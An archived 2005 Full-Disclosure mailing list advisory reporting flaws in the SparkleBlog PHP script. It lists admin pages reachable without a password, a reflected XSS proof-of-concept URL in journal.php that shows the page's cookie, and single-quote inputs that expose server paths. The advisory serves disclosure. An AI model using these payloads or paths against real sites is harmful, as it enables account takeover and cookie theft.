lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <0IAD00JWGA79K1@mail.vnet.hu>
From: bugtracklist at freemail.hu (Kovács László)
Subject: Various Vulnerabilities in SparkleBlog

Various Vulnerabilities in SparkleBlog

 

SparkleBlog is an open-source PHP script which allows you to input and edit
your weblog entries, without having to go through the hassle of coding in
HTML and uploading via FTP every time you want to make an update.  A weblog
(aka blog) is simply an online version of a diary, and blogging has become
very popular in recent years.  The time and date is automatically added to
the end of each of your blog entries, so people know exactly when you posted
them.  The script even allows your website's visitors to make comments on
each of your blog entries, if they wish.

 

No password requied for admin pages. So a remote attacker can request the
file and admin the blog site. 

 

[blogsite]/admin/blogadmin.php

[blogsite]/admin/cpconfig.php

[blogsite]/admin/editentries.php

[blogsite]/admin/update.php

 

XSS attack in journal.php:

 

[blogsite]/journal.php?id=document.write(unescape(%22%3CSCRIPT%3Ealert(docum
ent.domain);%3C/SCRIPT%3E%3CSCRIPT%3Ealert(document.cookie);%3C/SCRIPT%3E%22
));

 

Path disclosure in journal.php: 

 

[blogsite]/blog/journal.php?id='

 

Path disclosure in archives.php: 

 

[blogsite]/blog/archives.php?id='

 

No respone from vendor since: 2005.01.01.

 

SparkleBlog's web page: http://www.creamed-coconut.org/sparkleblog.php 

 

Regards, 

 

Kov?cs L?szl?

kovacs.laszlo@...alogique.hu 

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050115/51cf6780/attachment.html

Powered by blists - more mailing lists